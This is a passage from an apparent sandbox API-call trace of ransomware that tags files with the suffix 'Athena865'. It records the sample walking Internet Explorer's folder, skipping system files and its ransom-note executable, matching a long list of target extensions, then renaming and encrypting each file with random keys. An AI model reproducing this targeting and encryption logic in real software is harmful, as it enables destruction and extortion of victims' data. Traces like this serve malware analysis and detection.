-1 [0038.153] lstrlenW (lpString="sdf") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0038.153] lstrlenW (lpString="sis") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0038.153] lstrlenW (lpString="spq") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0038.153] lstrlenW (lpString="te") returned 2 [0038.153] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0038.153] lstrlenW (lpString="teacher") returned 7 [0038.153] lstrcmpiW (lpString1="ims.dll", lpString2="teacher") returned -1 [0038.153] lstrlenW (lpString="tmd") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0038.153] lstrlenW (lpString="tps") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0038.153] lstrlenW (lpString="trc") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.153] lstrlenW (lpString="trc") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.153] lstrlenW (lpString="trm") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0038.153] lstrlenW (lpString="udb") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0038.153] lstrlenW (lpString="udl") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0038.153] lstrlenW (lpString="usr") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0038.154] lstrlenW (lpString="v12") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0038.154] lstrlenW (lpString="vis") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0038.154] lstrlenW (lpString="vpd") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0038.154] lstrlenW (lpString="vvv") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0038.154] lstrlenW (lpString="wdb") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0038.154] lstrlenW (lpString="wmdb") returned 4 [0038.154] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0038.154] lstrlenW (lpString="wrk") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0038.154] lstrlenW (lpString="xdb") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0038.154] lstrlenW (lpString="xld") returned 3 [0038.154] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0038.154] lstrlenW (lpString="xmlff") returned 5 [0038.154] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0038.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\IEShims.dll.Athena865") returned 56 [0038.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.athena865"), dwFlags=0x1) returned 1 [0038.155] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.155] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=293376) returned 1 [0038.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.155] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.156] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.156] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.156] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47d00, lpName=0x0) returned 0x154 [0038.158] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47d00) returned 0x1f0000 [0038.170] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.170] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.170] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.171] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.173] CloseHandle (hObject=0x154) returned 1 [0038.173] CloseHandle (hObject=0x17c) returned 1 [0038.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.179] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2=".") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="..") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="windows") returned -1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="bootmgr") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="temp") returned -1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="pagefile.sys") returned -1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="boot") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="ids.txt") returned 1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="ntuser.dat") returned -1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="perflogs") returned -1 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2="MSBuild") returned -1 [0038.179] lstrlenW (lpString="iexplore.exe") returned 12 [0038.179] lstrcpyW (in: lpString1=0x241e88e, lpString2="iexplore.exe" | out: lpString1="iexplore.exe") returned="iexplore.exe" [0038.179] lstrlenW (lpString="iexplore.exe") returned 12 [0038.179] lstrlenW (lpString="Athena865") returned 9 [0038.179] lstrcmpiW (lpString1="plore.exe", lpString2="Athena865") returned 1 [0038.179] lstrlenW (lpString=".dll") returned 4 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2=".dll") returned 1 [0038.179] lstrlenW (lpString=".lnk") returned 4 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2=".lnk") returned 1 [0038.179] lstrlenW (lpString=".ini") returned 4 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2=".ini") returned 1 [0038.179] lstrlenW (lpString=".sys") returned 4 [0038.179] lstrcmpiW (lpString1="iexplore.exe", lpString2=".sys") returned 1 [0038.179] lstrlenW (lpString="iexplore.exe") returned 12 [0038.179] lstrlenW (lpString="bak") returned 3 [0038.179] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.179] lstrlenW (lpString="ba_") returned 3 [0038.179] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.179] lstrlenW (lpString="dbb") returned 3 [0038.179] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.179] lstrlenW (lpString="vmdk") returned 4 [0038.179] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.180] lstrlenW (lpString="rar") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.180] lstrlenW (lpString="zip") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.180] lstrlenW (lpString="tgz") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.180] lstrlenW (lpString="vbox") returned 4 [0038.180] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.180] lstrlenW (lpString="vdi") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.180] lstrlenW (lpString="vhd") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.180] lstrlenW (lpString="vhdx") returned 4 [0038.180] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.180] lstrlenW (lpString="avhd") returned 4 [0038.180] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.180] lstrlenW (lpString="db") returned 2 [0038.180] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.180] lstrlenW (lpString="db2") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.180] lstrlenW (lpString="db3") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.180] lstrlenW (lpString="dbf") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.180] lstrlenW (lpString="mdf") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.180] lstrlenW (lpString="mdb") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.180] lstrlenW (lpString="sql") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.180] lstrlenW (lpString="sqlite") returned 6 [0038.180] lstrcmpiW (lpString1="re.exe", lpString2="sqlite") returned -1 [0038.180] lstrlenW (lpString="sqlite3") returned 7 [0038.180] lstrcmpiW (lpString1="ore.exe", lpString2="sqlite3") returned -1 [0038.180] lstrlenW (lpString="sqlitedb") returned 8 [0038.180] lstrcmpiW (lpString1="lore.exe", lpString2="sqlitedb") returned -1 [0038.180] lstrlenW (lpString="xml") returned 3 [0038.180] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.181] lstrlenW (lpString="$er") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.181] lstrlenW (lpString="4dd") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.181] lstrlenW (lpString="4dl") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.181] lstrlenW (lpString="^^^") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.181] lstrlenW (lpString="abs") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.181] lstrlenW (lpString="abx") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.181] lstrlenW (lpString="accdb") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0038.181] lstrlenW (lpString="accdc") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0038.181] lstrlenW (lpString="accde") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0038.181] lstrlenW (lpString="accdr") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0038.181] lstrlenW (lpString="accdt") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0038.181] lstrlenW (lpString="accdw") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0038.181] lstrlenW (lpString="accft") returned 5 [0038.181] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0038.181] lstrlenW (lpString="adb") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.181] lstrlenW (lpString="adb") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.181] lstrlenW (lpString="ade") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.181] lstrlenW (lpString="adf") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.181] lstrlenW (lpString="adn") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.181] lstrlenW (lpString="adp") returned 3 [0038.181] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.182] lstrlenW (lpString="alf") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.182] lstrlenW (lpString="ask") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.182] lstrlenW (lpString="btr") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.182] lstrlenW (lpString="cat") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.182] lstrlenW (lpString="cdb") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.182] lstrlenW (lpString="ckp") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.182] lstrlenW (lpString="cma") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.182] lstrlenW (lpString="cpd") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.182] lstrlenW (lpString="dacpac") returned 6 [0038.182] lstrcmpiW (lpString1="re.exe", lpString2="dacpac") returned 1 [0038.182] lstrlenW (lpString="dad") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0038.182] lstrlenW (lpString="dadiagrams") returned 10 [0038.182] lstrcmpiW (lpString1="xplore.exe", lpString2="dadiagrams") returned 1 [0038.182] lstrlenW (lpString="daschema") returned 8 [0038.182] lstrcmpiW (lpString1="lore.exe", lpString2="daschema") returned 1 [0038.182] lstrlenW (lpString="db-journal") returned 10 [0038.182] lstrcmpiW (lpString1="xplore.exe", lpString2="db-journal") returned 1 [0038.182] lstrlenW (lpString="db-shm") returned 6 [0038.182] lstrcmpiW (lpString1="re.exe", lpString2="db-shm") returned 1 [0038.182] lstrlenW (lpString="db-wal") returned 6 [0038.182] lstrcmpiW (lpString1="re.exe", lpString2="db-wal") returned 1 [0038.182] lstrlenW (lpString="dbc") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.182] lstrlenW (lpString="dbs") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.182] lstrlenW (lpString="dbt") returned 3 [0038.182] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.182] lstrlenW (lpString="dbv") returned 3 [0038.183] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.183] lstrlenW (lpString="dbx") returned 3 [0038.183] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.183] lstrlenW (lpString="dcb") returned 3 [0038.183] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.183] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\iexplore.exe.Athena865") returned 57 [0038.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.athena865"), dwFlags=0x1) returned 1 [0038.183] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=695056) returned 1 [0038.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.184] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.185] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.185] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.185] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa9e10, lpName=0x0) returned 0x154 [0038.186] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa9e10) returned 0x2d50000 [0038.211] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.212] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.212] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.212] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.218] CloseHandle (hObject=0x154) returned 1 [0038.218] CloseHandle (hObject=0x17c) returned 1 [0038.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.228] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="windows") returned -1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="bootmgr") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="temp") returned -1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="pagefile.sys") returned -1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="boot") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ids.txt") returned 1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ntuser.dat") returned -1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="perflogs") returned -1 [0038.228] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="MSBuild") returned -1 [0038.228] lstrlenW (lpString="jsdbgui.dll") returned 11 [0038.228] lstrcpyW (in: lpString1=0x241e88e, lpString2="jsdbgui.dll" | out: lpString1="jsdbgui.dll") returned="jsdbgui.dll" [0038.228] lstrlenW (lpString="jsdbgui.dll") returned 11 [0038.228] lstrlenW (lpString="Athena865") returned 9 [0038.228] lstrcmpiW (lpString1="dbgui.dll", lpString2="Athena865") returned 1 [0038.229] lstrlenW (lpString=".dll") returned 4 [0038.229] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".dll") returned 1 [0038.229] lstrlenW (lpString=".lnk") returned 4 [0038.229] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".lnk") returned 1 [0038.229] lstrlenW (lpString=".ini") returned 4 [0038.229] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".ini") returned 1 [0038.229] lstrlenW (lpString=".sys") returned 4 [0038.229] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".sys") returned 1 [0038.229] lstrlenW (lpString="jsdbgui.dll") returned 11 [0038.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\jsdbgui.dll.Athena865") returned 56 [0038.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\jsdbgui.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll.athena865"), dwFlags=0x1) returned 1 [0038.229] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\jsdbgui.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.230] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=505344) returned 1 [0038.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.230] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.230] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.231] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.231] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.231] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7b900, lpName=0x0) returned 0x154 [0038.234] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7b900) returned 0x2d50000 [0038.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.250] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.250] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.251] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.255] CloseHandle (hObject=0x154) returned 1 [0038.255] CloseHandle (hObject=0x17c) returned 1 [0038.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.262] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, 